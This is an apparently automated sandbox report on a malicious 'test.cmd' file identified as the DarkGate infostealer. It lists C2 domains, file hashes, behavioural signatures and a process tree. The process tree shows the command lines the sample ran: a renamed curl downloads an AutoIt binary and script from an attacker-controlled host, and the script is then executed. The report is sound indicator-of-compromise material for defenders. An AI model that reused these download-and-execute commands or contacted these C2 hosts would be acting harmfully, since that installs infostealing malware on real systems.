Resubmissions

04/10/2023, 14:56

231004-sa76escf4v 10

04/10/2023, 13:37

231004-qwx68sca6v 10

03/10/2023, 15:09

231003-sjsr4ace4x 10

Analysis

  • max time kernel
    144s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/10/2023, 15:09

General

  • Target

    test.cmd

  • Size

    246B

  • MD5

    2d797e5e30c2bd74dca3ff4313117abc

  • SHA1

    a3d5b080a3b4d5f7c0eae7ce99b97f7602c3fc0b

  • SHA256

    20fe5b613a2057a021fa54982a4853e63f18fccd1b4270afe99ed3d7a442d6e7

  • SHA512

    aeed84d85d51b1b9a6acff0c80006f706b78a8d395d242216cc7a74c03a333d4d27c42518a4757688aada386dfac1896d5473e4fa010d47963ca4b0a33eb27d5

Score
10/10

Malware Config

Extracted

Family

darkgate

C2

http://onlinesalesjerek.com

http://onnlinebadroomstore.com

http://rty777casinojoker.com

http://herbolikcsoonstreedj.com

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Users\Admin\AppData\Local\Temp\glsm.exe
      glsm -H "User-Agent: curl" -o Autoit3.exe http://onlinesalesjerek.com:2351
      2⤵
      • Executes dropped EXE
      PID:1352
    • C:\Users\Admin\AppData\Local\Temp\glsm.exe
      glsm -o zvujpg.au3 http://onlinesalesjerek.com:2351/msiglsmujml
      2⤵
      • Executes dropped EXE
      PID:1152
    • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe
      Autoit3.exe zvujpg.au3
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      PID:4288
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:3528
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:968

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe

      Filesize

      872KB

      MD5

      c56b5f0201a3b3de53e561fe76912bfd

      SHA1

      2a4062e10a5de813f5688221dbeb3f3ff33eb417

      SHA256

      237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

      SHA512

      195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

    • C:\Users\Admin\AppData\Local\Temp\glsm.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

    • C:\Users\Admin\AppData\Local\Temp\glsm.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

    • C:\Users\Admin\AppData\Local\Temp\glsm.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

    • C:\Users\Admin\AppData\Local\Temp\zvujpg.au3

      Filesize

      906KB

      MD5

      ca0ba323ae5bab16f31041ae02f5a595

      SHA1

      2dcc226ebadd8614352f73c369825110b904b6e2

      SHA256

      02810fdb8cb7c20bdcd7a9b9f3172f177e75819756c6f54f9932f132ef541b7e

      SHA512

      fce3a13399097b420719c6942398f8265d5cea740f2f1cfcc637d1f9471143f3192e55893e72d8ae53e941c18fe60dd3db685177a9df7134f0073ffbd0878d29

    • memory/968-49-0x000001E11BBF0000-0x000001E11BBF1000-memory.dmp

      Filesize

      4KB

    • memory/968-17-0x000001E113780000-0x000001E113790000-memory.dmp

      Filesize

      64KB

    • memory/968-33-0x000001E113880000-0x000001E113890000-memory.dmp

      Filesize

      64KB

    • memory/968-51-0x000001E11BC20000-0x000001E11BC21000-memory.dmp

      Filesize

      4KB

    • memory/968-53-0x000001E11BD30000-0x000001E11BD31000-memory.dmp

      Filesize

      4KB

    • memory/968-52-0x000001E11BC20000-0x000001E11BC21000-memory.dmp

      Filesize

      4KB

    • memory/4288-13-0x0000000004440000-0x0000000004535000-memory.dmp

      Filesize

      980KB

    • memory/4288-14-0x0000000004D20000-0x00000000050E3000-memory.dmp

      Filesize

      3.8MB

    • memory/4288-15-0x0000000004440000-0x0000000004535000-memory.dmp

      Filesize

      980KB

    • memory/4288-16-0x0000000004D20000-0x00000000050E3000-memory.dmp

      Filesize

      3.8MB

    • memory/4288-12-0x00000000017B0000-0x0000000001BB0000-memory.dmp

      Filesize

      4.0MB